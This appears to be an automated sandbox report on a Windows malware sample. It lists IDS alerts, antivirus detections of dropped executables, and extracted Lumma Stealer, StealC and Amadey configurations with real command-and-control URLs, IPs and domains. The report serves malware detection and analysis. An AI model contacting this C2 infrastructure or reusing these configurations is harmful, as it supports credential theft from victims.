Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:07:59.843013+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	54902	1.1.1.1	53	UDP
2024-10-24T18:09:16.465947+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	60779	1.1.1.1	53	UDP
2024-10-24T18:09:28.997027+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	64451	1.1.1.1	53	UDP
2024-10-24T18:09:37.962938+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.6	64074	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:07:59.831203+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	62979	1.1.1.1	53	UDP
2024-10-24T18:09:16.453576+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	55324	1.1.1.1	53	UDP
2024-10-24T18:09:28.984685+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	65109	1.1.1.1	53	UDP
2024-10-24T18:09:37.943963+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.6	65515	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:07:59.903879+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	60695	1.1.1.1	53	UDP
2024-10-24T18:09:16.517042+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	53085	1.1.1.1	53	UDP
2024-10-24T18:09:29.051128+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	65448	1.1.1.1	53	UDP
2024-10-24T18:09:38.025655+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.6	54065	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:07:59.819800+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	63233	1.1.1.1	53	UDP
2024-10-24T18:09:16.441672+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	50091	1.1.1.1	53	UDP
2024-10-24T18:09:28.971277+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	49842	1.1.1.1	53	UDP
2024-10-24T18:09:37.925898+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.6	49291	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:07:59.892514+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	52918	1.1.1.1	53	UDP
2024-10-24T18:09:16.504397+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	59929	1.1.1.1	53	UDP
2024-10-24T18:09:29.037304+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	54200	1.1.1.1	53	UDP
2024-10-24T18:09:38.012836+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.6	56637	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:07:59.866751+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	57464	1.1.1.1	53	UDP
2024-10-24T18:09:16.479187+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	62744	1.1.1.1	53	UDP
2024-10-24T18:09:29.008965+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	55478	1.1.1.1	53	UDP
2024-10-24T18:09:37.981441+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.6	64110	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:08:09.228129+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49716	104.21.53.8	443	TCP
2024-10-24T18:09:36.578629+0200	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50010	104.21.53.8	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:08:28.515936+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49819	185.215.113.37	80	TCP
2024-10-24T18:09:27.921020+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50000	185.215.113.37	80	TCP
2024-10-24T18:09:38.573503+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50015	185.215.113.37	80	TCP
2024-10-24T18:09:49.862888+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50051	185.215.113.37	80	TCP
2024-10-24T18:10:01.901524+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50063	185.215.113.37	80	TCP
2024-10-24T18:10:05.865207+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50065	185.215.113.37	80	TCP
2024-10-24T18:10:16.816006+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50098	185.215.113.37	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:09:05.068521+0200	2856147	1	A Network Trojan was detected	192.168.2.6	49992	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:09:17.201292+0200	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49993	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:09:08.474846+0200	2803305	3	Unknown Traffic	192.168.2.6	49994	185.215.113.16	80	TCP
2024-10-24T18:09:19.060302+0200	2803305	3	Unknown Traffic	192.168.2.6	49997	185.215.113.16	80	TCP
2024-10-24T18:09:28.098901+0200	2803305	3	Unknown Traffic	192.168.2.6	50001	185.215.113.16	80	TCP
2024-10-24T18:09:35.902456+0200	2803305	3	Unknown Traffic	192.168.2.6	50007	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:09:47.643919+0200	2843864	1	A Network Trojan was detected	192.168.2.6	50044	104.21.53.8	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T18:08:01.485732+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49708	104.102.49.254	443	TCP
2024-10-24T18:09:18.170439+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	49995	104.102.49.254	443	TCP
2024-10-24T18:09:30.582344+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	50002	104.102.49.254	443	TCP
2024-10-24T18:09:39.583100+0200	2858666	1	Domain Observed Used for C2 Detected	192.168.2.6	50017	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Avira: detection malicious, Label: TR/AD.Stealc.bkskc
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000003.00000002.2368072745.0000000000131000.00000040.00000001.01000000.00000006.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 39.2.num.exe.180000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 26e226f915.exe.6976.11.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["dissapoiznw.store", "licendfilteo.site", "clearancek.site", "eaglepawnoy.store", "mobbipenju.store", "bathdoomgaz.store", "spirittunek.store", "studennotediw.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	ReversingLabs: Detection: 82%
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50082 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: M0SHVBI03XTU9LNHD2O8UA8TC8F.exe, 00000006.00000003.2371701533.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, M0SHVBI03XTU9LNHD2O8UA8TC8F.exe, 00000006.00000002.2505556141.0000000000A92000.00000040.00000001.01000000.0000000B.sdmp

Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Directory queried: number of queries: 1474

Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	11_2_008799D0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_0083D110
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_0083D110
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	11_2_0083FCA0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	11_2_00840EEC
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_00875700
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	11_2_00846F91
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	11_2_008349A0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	11_2_00873920
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	11_2_0084D961
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then jmp eax	11_2_00841ACD
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	11_2_008442FC
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then jmp eax	11_2_00841A3C
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	11_2_00874A40
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	11_2_00835A50
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	11_2_00843BE2
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	11_2_00841BEE
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov ebp, eax	11_2_0083A300
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	11_2_00879B60
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	11_2_0085CCD0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_0085CCD0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	11_2_0085CCD0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esp]	11_2_00879CE0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	11_2_00879CE0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	11_2_0084B410
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov word ptr [eax], cx	11_2_0084D457
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	11_2_0085C470
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	11_2_00838590
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	11_2_0085FD10
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	11_2_00846536
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	11_2_00841E93
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	11_2_00836EA0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	11_2_0083BEB0
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	11_2_00846EBF
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	11_2_00846F91

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 189MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:63233 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:62979 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:64853 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:54902 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:57464 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:62811 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:60695 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:52918 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49819 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49992 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:55324 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:62744 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:64287 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056485 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store) : 192.168.2.6:50091 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:53085 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:60779 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:59929 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:55961 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49993
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49996 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:50000 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:59100 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056483 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store) : 192.168.2.6:65109 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056479 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store) : 192.168.2.6:55478 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:49816 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:54200 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056473 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site) : 192.168.2.6:65448 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056481 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store) : 192.168.2.6:64451 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49999 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:50006 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2056471 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site) : 192.168.2.6:65096 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056477 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store) : 192.168.2.6:50929 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056475 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store) : 192.168.2.6:56637 -> 1.1.1.1:53
